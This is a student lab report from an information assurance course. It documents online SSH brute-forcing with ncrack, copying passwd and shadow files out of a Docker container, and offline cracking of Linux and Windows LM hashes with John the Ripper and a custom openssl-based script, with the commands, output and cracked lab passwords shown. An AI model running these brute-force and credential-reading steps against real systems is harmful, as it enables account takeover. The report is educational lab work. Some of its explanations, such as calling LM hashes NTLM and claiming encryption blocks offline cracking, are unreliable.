Foundations of Information Assurance

Lab Assignment 3 Report

Team 20

Sonam Ghatode

Vishal Maurya

10.08.2019
CY5010

Index

Setup:

Ncrack:

Ncrack is a high-speed network authentication cracking tool. It was built to help companies secure their networks by proactively testing all their hosts and networking devices for poor passwords. Security professionals also rely on Ncrack when auditing their clients. Ncrack was designed using a modular approach, a command-line syntax similar to Nmap and a dynamic engine that can adapt its behaviour based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts.

Ncrack's features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap's and many more. Protocols supported include SSH, RDP, FTP, Telnet, HTTP(S), Wordpress, POP3(S), IMAP, CVS, SMB, VNC, SIP, Redis, PostgreSQL, MQTT, MySQL, MSSQL, MongoDB, Cassandra, WinRM, OWA, and DICOM

Part 1 - Online Password Cracking:

1. Assuming **alice** and **bob** have account on the created container, we tried cracking their password online using ncrack. The command we used:

   sudo ncrack -vv --user username -P password_file service

   Option List:

Options	Description
-vv	to increase verbosity. Used twice for greater effect
--user	comma separated user list whose passwords need to be broken
-P	password file that might be a word list to facilitate cracking
service	specifies the service. In our case: *ssh://localhost:2222*

   Following is the screenshot attached for the cracked passwords:

```
user@ubuntu:~$ cp /usr/share/dict/words ./
user@ubuntu:~$ sudo ncrack -vv --user alice -P words ssh://localhost:2222
[sudo] password for user:

Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-10-07 16:27 EDT

Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.
Discovered credentials on ssh://127.0.0.1:2222 'alice' 'Arius'
^Ccaught SIGINT signal, cleaning up
Saved current session state at: /root/.ncrack/restore.2019-10-07_16-33
user@ubuntu:~$ sudo ncrack -vv --user bob -P words ssh://localhost:2222

Starting Ncrack 0.6 ( http://ncrack.org ) at 2019-10-07 16:33 EDT

Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.
Discovered credentials on ssh://127.0.0.1:2222 'bob' 'Bacardi'
_
```

2. After cracking the passwords, we used the alice's account to get the password and shadow file from the container to the VM. The command we used was:

   sudo docker cp source destination

   After getting password and shadow file, we unshadowed the file using the command:

   sudo unshadow password_file shadow_file > destination_file

   Following is the screenshot for the same:

```
user@ubuntu:~$ sudo docker ps
[sudo] password for user:
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS
PORTS               NAMES
user@ubuntu:~$ sudo docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
sierraneu/vulpass   latest              3f0cde7f6795        12 days ago         202MB
user@ubuntu:~$ sudo docker run -d -p 2222:22 sierraneu/vulpass
a01486e31896690a7b098e66df60ccff8cd883e151e55f3a7d363c110ad232f2
user@ubuntu:~$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND               CREATED             STATUS
  PORTS               NAMES
a01486e31896        sierraneu/vulpass   "/usr/sbin/sshd -D"   5 seconds ago       Up 4 seconds
  0.0.0.0:2222->22/tcp   friendly_nightingale
user@ubuntu:~$ sudo docker cp a01486e31896:/etc/passwd ./password
user@ubuntu:~$ sudo docker cp a01486e31896:/etc/shadow ./shadw
user@ubuntu:~$ ls
Lab_1_team_20.txt  lin_passwd_lab3.txt  passwd    shadow  sonam_example.txt    words
Lab_2              linuxwords           password  shadw   win_passwd_lab3.txt
user@ubuntu:~$ sudo unshadow password shadw > lin_pw_lab3.txt
user@ubuntu:~$ _
```

After unshadowing is done, we removed the users who didn't have password set(who hav * as second entry in each line after user). Following is the screenshot of content of the file after deleting the users:

Part 2 - Offline Password Cracking:

AFter getting the password hashes, we tried first to brute-force. In 3+hours, it was able to find out only some users. Following is the screenshot for the same:

```
user@ubuntu:~$ john lin_passwd_lab3.txt
Created directory: /home/user/.john
Loaded 9 password hashes with 9 different salts (crypt, generic crypt(3
Press 'q' or Ctrl-C to abort, almost any other key for status
toor             (root)
greg1990         (greg)
2g 0:02:35:49 3/3 0.000213g/s 44.23p/s 305.3c/s 305.3C/s 097335..097475
Use the "--show" option to display all of the cracked passwords reliabl
Session aborted
user@ubuntu:~$ _
```

The two linux passwords that were cracked using brute-force were: toor(password of root), greg1990(password of greg). After this we downloaded a wordlist from https://users.cs.duke.edu/~ola/ap/linuxwords and ran the program again. And got the passwords for eve, trudy, and victor.

```
user@ubuntu:~/pass_crack$ sudo john --wordlist=linux_words.txt --rules password_dump.txt
[sudo] password for user:
Created directory: /root/.john
Loaded 9 password hashes with 9 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
cannonball       (victor)
Carrara          (trudy)
fence            (eve)
```

Victor - cannonball
Trudy - Carrara
Eve - fence

However, cracking password for user=eugene was a big pain, it did not get cracked with the wordlist. So we decided to use bruteforce, instead of just blindly running the john program with the unshadowed file we filtered out a few things and provided some advanced options for running the cracking :

1. Specifying only uegene as the user with --user=eugene attribute
2. Specifying that we want to try all possible charachter combinations with the help of -i option which means, incremental mode.
3. Using --fork attribute to tell the john program to run 20 instances of password cracking.

And the final command looked something like this.

```
root@ubuntu-xenial:/vagrant# john -i --user=eugene password_dump.txt --fork=20
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Node numbers 1-20 of 20 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
15 0g 0:00:00:03 0g/s 93.20p/s 93.20c/s 93.20C/s mandog1..147
6 0g 0:00:00:03 0g/s 92.01p/s 92.01c/s 92.01C/s jelis..jonet
18 0g 0:00:00:03 0g/s 92.30p/s 92.30c/s 92.30C/s armil..morazar
4 0g 0:00:00:03 0g/s 90.85p/s 90.85c/s 90.85C/s shiliam..11917
1 0g 0:00:00:03 0g/s 90.00p/s 90.00c/s 90.00C/s 142086..shubba
2 0g 0:00:00:03 0g/s 90.00p/s 90.00c/s 90.00C/s sando..sheby
5 0g 0:00:00:03 0g/s 89.71p/s 89.71c/s 89.71C/s alian..saron
8 0g 0:00:00:03 0g/s 90.28p/s 90.28c/s 90.28C/s 190800..stupet
9 0g 0:00:00:03 0g/s 89.44p/s 89.44c/s 89.44C/s barisse..barch13
17 0g 0:00:00:03 0g/s 89.44p/s 89.44c/s 89.44C/s shicia..sollon
14 0g 0:00:00:03 0g/s 90.85p/s 90.85c/s 90.85C/s 14210..merth
13 0g 0:00:00:03 0g/s 88.88p/s 88.88c/s 88.88C/s animas..analyn
16 0g 0:00:00:03 0g/s 88.34p/s 88.34c/s 88.34C/s 022531..032389
3 0g 0:00:00:03 0g/s 88.34p/s 88.34c/s 88.34C/s meede..alark
12 0g 0:00:00:03 0g/s 85.45p/s 85.45c/s 85.45C/s 111276..110733
7 0g 0:00:00:03 0g/s 85.45p/s 85.45c/s 85.45C/s momessa..pean
19 0g 0:00:00:03 0g/s 83.72p/s 83.72c/s 83.72C/s 103012..147888
11 0g 0:00:00:03 0g/s 80.44p/s 80.44c/s 80.44C/s 103255..191092
20 0g 0:00:00:03 0g/s 100.5p/s 100.5c/s 100.5C/s shicat..stongy
10 0g 0:00:00:03 0g/s 99.74p/s 99.74c/s 99.74C/s 1114..120820
16 0g 0:00:00:12 0g/s 87.63p/s 87.63c/s 87.63C/s mhul1..amiez
7 0g 0:00:00:12 0g/s 94.34p/s 94.34c/s 94.34C/s marler07..mangstar
20 0g 0:00:00:12 0g/s 93.65p/s 93.65c/s 93.65C/s mayrb..muma1
17 0g 0:00:00:12 0g/s 92.45p/s 92.45c/s 92.45C/s 110816..114142
18 0g 0:00:00:12 0g/s 92.60p/s 92.60c/s 92.60C/s 159791..159101
10 0g 0:00:00:12 0g/s 99.52p/s 99.52c/s 99.52C/s 142016..sanca1
```

```
19 0g 0:00:10:57 0g/s 70.71p/s 70.71c/s 70.71C/s prince07..prishirl
14 0g 0:00:10:57 0g/s 70.70p/s 70.70c/s 70.70C/s bmx0s..bmf1a
7 0g 0:00:13:21 0g/s 73.10p/s 73.10c/s 73.10C/s llybbo..llyi08
16 0g 0:00:13:21 0g/s 73.22p/s 73.22c/s 73.22C/s cracuk..crenez
15 0g 0:00:13:21 0g/s 73.09p/s 73.09c/s 73.09C/s bowgual..bosha07
17 0g 0:00:13:21 0g/s 73.09p/s 73.09c/s 73.09C/s samerier..samments
8 0g 0:00:13:21 0g/s 72.25p/s 72.25c/s 72.25C/s jasoriz..jackyok
10 0g 0:00:13:21 0g/s 73.20p/s 73.20c/s 73.20C/s jhimum..jh1640
5 0g 0:00:13:21 0g/s 72.96p/s 72.96c/s 72.96C/s mhoobs..mh1963
13 0g 0:00:13:21 0g/s 73.67p/s 73.67c/s 73.67C/s dismor..dismck
2 0g 0:00:13:21 0g/s 73.18p/s 73.18c/s 73.18C/s dmelo..dmemz
4 0g 0:00:13:21 0g/s 72.34p/s 72.34c/s 72.34C/s siatis..sialmy
9 0g 0:00:13:21 0g/s 72.70p/s 72.70c/s 72.70C/s 288619..288016
1 0g 0:00:13:21 0g/s 73.53p/s 73.53c/s 73.53C/s soudlm..sosoks
6 0g 0:00:13:21 0g/s 72.93p/s 72.93c/s 72.93C/s mm2436..mm2656
19 0g 0:00:13:21 0g/s 73.05p/s 73.05c/s 73.05C/s 130rms..131m00
3 0g 0:00:13:21 0g/s 72.80p/s 72.80c/s 72.80C/s hawss..hiise
12 0g 0:00:13:21 0g/s 73.28p/s 73.28c/s 73.28C/s mouste1..mouseta
20 0g 0:00:13:21 0g/s 73.02p/s 73.02c/s 73.02C/s susalka..susasis
14 0g 0:00:13:21 0g/s 73.26p/s 73.26c/s 73.26C/s kerid..kescz
11 0g 0:00:13:22 0g/s 72.76p/s 72.76c/s 72.76C/s pictunis..pimpan10
18 0g 0:00:13:22 0g/s 73.11p/s 73.11c/s 73.11C/s myalost..myhova2
soccar1          (eugene)
18 1g 0:00:15:33 0.001071g/s 73.24p/s 73.24c/s 73.24C/s sepann3..soccann
```

And we finally got eugene password as well.

WINDOWS :

All windows passwords were cracked using brute-force attack only. Following is the screenshot for the same:

```
user@ubuntu:~$ cat win_passwd_lab3.txt
Robert:1000:B2013A989E3ACB58EEC062E8E7074D6D:FCE675306F25186D1482BDA949DD29EA:::
Paul:1001:70562B3AEDA6AEE7AAD3B435B51404EE:5135D9C592395DB6A6192D9189063E67:::
Nancy:1002:F4FCFC2559FC607FD63BC7093CA76FA5:F3267ACFC6E950E21E7BE5CB8863870F:::
Dan:1003:6D9DF16655336CA7B2A8712A9B0BE09C:0D757AD173D2FC249CE19364FD64C8EC:::
John:1004:D0FF9041658D048E67D9638F81FCF359:B0316259036EC4D56DE92D1F408466E2:::
user@ubuntu:~$ rm lin_pass.txt
user@ubuntu:~$ john win_passwd_lab3.txt
Loaded 9 password hashes with no different salts (LM [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
PIANO            (Nancy:2)
QWERTYU          (Dan:1)
IOP              (Dan:2)
JELLY22          (Robert:1)
INE              (John:2)
TRAMPOL          (John:1)
1KI77Y           (Paul)
```

Since John uses hash matching to crack passwords for NTLM (windows based password hashing) it may give us a few passwords in parts which are printed so due to collision.

The difference between online and offline password attack:

The basic difference between online and offline password attack is the fact that in online password attack network is required and in offline password attack no network is required to crack the password. Online password attacks are the attacks one can expect against a web application, exposed SSH terminal, or any logon interface. It consists of trying a large number of username/password combinations against the login portal in hopes of guessing the correct password. Offline attacks on the other hand involves an attacker getting hands on the hashes of the passwords. Once they get the hashes, they can try brute force or dictionary attacks on the hashes.

The advantages and disadvantages of online attacks:

1. The advantage of online attack is that if the attacker actually gets successful in logging in, he can proceed with his intentions unlike in offline attacks where the attacker gets the hash and try to get the collision or actual password.
2. Disadvantage is that it is limited by the network speed. Whatever the attacker might do, the speed of networks this attack significantly. Another disadvantage is that the online attacks tends to be very noisy and can be identified easily by any basic intrusion detection system. There are many policies like account logout after some attempts which can cause attacker to fail abruptly.

The advantages and disadvantages of offline attacks:

1. The disadvantage of offline attack is that even if the attacker successfully gets the password from the hash, there is a chance that actual password might have been changed in time. With increase in awareness and introduction of many password policies like changing the password every month and stop password reuse, offline attack might just waste the attackers time and effort.
2. The advantage is that an attacker is not actually trying to login and hence will be hidden from the detection system and once he figures out the password can plan the actual attack. And unlike online password attacks, this attack is not limited by network speed and password can be broken really fast using GPUs.

Windows NTLMv1 vs salted Linux SHA256 hashes:

In a windows network, NTLMv1 is a set of security protocols intended to provide authentication, integrity, and confidentiality to users. The server authenticates the client by sending an 8-byte random number, the challenge. The client performs an operation involving the challenge and a secret shared between client and server, specifically DES based LanMan one way function (LMOWF) hash. The client returns the 24-byte result of the computation. In fact, in NTLMv1 the computations are usually made using both hashes and both 24-byte results are sent. The server verifies that the client has computed the correct result, and from this infers possession of the secret, and hence the authenticity of the client. The problem here is that the hash is computed using DES, which is now breakable and not secure enough to be used for encryption or hashing. Attacker just have to figure out the challenge with matching hash and exploit the vulnerability. But in Linux, salted SHA256 hashes are used. If these salts change every time, even if the attacker gets the hand on the hashes, it would be difficult for him to find a collision in SHA256 hash and salt at the same time. These salts are also randomly generated, so it becomes more difficult to guess or figure them out as opposed to the challenge in NTLMv1. It increases the time and effort overhead for the attackers and hence making it more secure than NTLMv1. Microsoft discourages the use of NTLM because of this vulnerability.

Recommendations to protect against online password attacks:

1. To protect against online password attacks, an alerting system should be in place which raises a flag when multiple login attempt is encountered at an abnormally fast pace like 2-3 times in a second. It signals that the account is possibly on attack and action should be taken to avoid exploitation.
2. Another way of protection is to provide account lockout facility. If wrong passwords are entered more than a specific limit, the account should be locked down to prevent further brute-forcing or guessing or dictionary attacks.

3. The password policies should be strong enough to make it difficult to brute force or guessing attacks. Policies like using uppercase, lowercase, special characters and numbers at once is a good one, since it increases the keyspace for the attacker and hence increasing the attack time significantly.
4. Multi-factor or 2 Factor Authentication can also be helpful since policies can only be enforced to an extent and people tend to reuse passwords. If authentication needs something you know or have, it would be another hurdle for the attacker.

Recommendations to protect against offline password attacks:

1. Encryption of password before creating a hash or after generating hash of the password to store it later can be a good approach to avoid this kind of attacks. Even if the attacker gets his hand on the password hash, he still won't be able to crack it because of the encryption.
2. Storing the password hashes in cloud with maximum security is another way to counter this. Unless we go to a distant place without internet we cannot be 100% secure, assuming this isn't the option, we can only get the best security mechanism to protect the hash file from the attacker.
3. Generating passwords that are not prone to guessing or dictionary attacks can be another approach for the same. It can prevent cracking to an extent and increase the time overhead for the attacker.

List of all passwords cracked :

Windows :

Username	Password
Nancy	PIANO
Robert	JELLY22
John (Part 1)	INE
John (Part 2)	TRAMPOL
Dan (Part 1)	QWERTYU
Dan (Part 2)	IOP
Paul	1KI77Y

Linux :

Username	Password
root	toor
greg	greg1990
bob	Bacardi
alice	Arius
eve	fence
trudy	Carrara
victor	cannonball
eugene	soccar1

Extra Credit :

The extra credit task asked to create our own password cracker to crack unshadowed file from linux passwd and shadow file. In order to do so we began with analyzing the dumped unshadowed file.

A typical entry in this file looks like this :

victor:6AMtP9.dK$RJlr64buwvj93ksE/XzO3lNBY459rr9N5eKgx5acZ3O89idQmeiIM7UrmdEngAsvaOMJdqpt/.kcbhIPvDDIy/:1004:1004:,,,:/home/victor:/bin/bash

Where :

Victor	username
$6	type of hashing algorithm used
AMtP9.dK	Salt
RJlr64buwvj93ksE/XzO3lNBY459rr9N5eKgx5acZ3O89idQmeiIM7UrmdEngAsvaOMJdqpt/.kcbhIPvDDIy/	Hashed password

We decided to fetch these entries for each user separately and save them as variables.

For each user we will create a password hash with the received salt and each word in the wordlist provided to us as command line argument to the program and using the hashing algorithm detected by analyzing the unshadowed file.

We can generate the resultant password hash by using the following command :
openssl passwd -6 -salt AMtP9.dK word_from_wordlist

We now compare the generated hashed password with "6AMtP9.dK$RJlr64buwvj93ksE/XzO3lNBY459rr9N5eKgx5acZ3O89idQmeiIM7UrmdEngAsvaOMJdqpt/.kcbhIPvDDIy/" if it is a match then we have cracked the password for that user.

We have implemented multi processing in the script so that password of every user is cracked as a different task/process using '&' at the end of openssl passwd command.

Here is a snippet of the password_cracker (extra_credit.sh) in action :

```
user@ubuntu:~/pass_crack/extra$ scp My_Local_Macbook:/Users/Vishal/Documents/Foundation/Lab_3/extra_
credit.sh ./
extra_credit.sh                                          100% 2913     6.2MB/s   00:00
user@ubuntu:~/pass_crack/extra$ ./extra_credit.sh ../linux_words.txt password_dump.txt
Found passwd for user eve: fence
Found passwd for user trudy: Carrara
Found passwd for user victor: cannonball
user@ubuntu:~/pass_crack/extra$ ./extra_credit.sh ../words password_dump.txt
^X^Cuser@ubuntu:~/pass_crack/extra$ ./extra_credit.sh ../words password_dump.txt
Found passwd for user alice: Arius
Found passwd for user bob: Bacardi
Found passwd for user eve: fence
^X^Cuser@ubuntu:~/pass_crack/extra$ ^C
user@ubuntu:~/pass_crack/extra$
```

To match the standards mentioned as per the assignment illustration we have renamed our script to "cracker".

References :

[1]https://www.triaxiomsecurity.com/2018/10/19/whats-the-difference-between-offline-and-online-password-attacks/

[2]https://en.wikipedia.org/wiki/NT_LAN_Manager

[3]https://nmap.org/ncrack/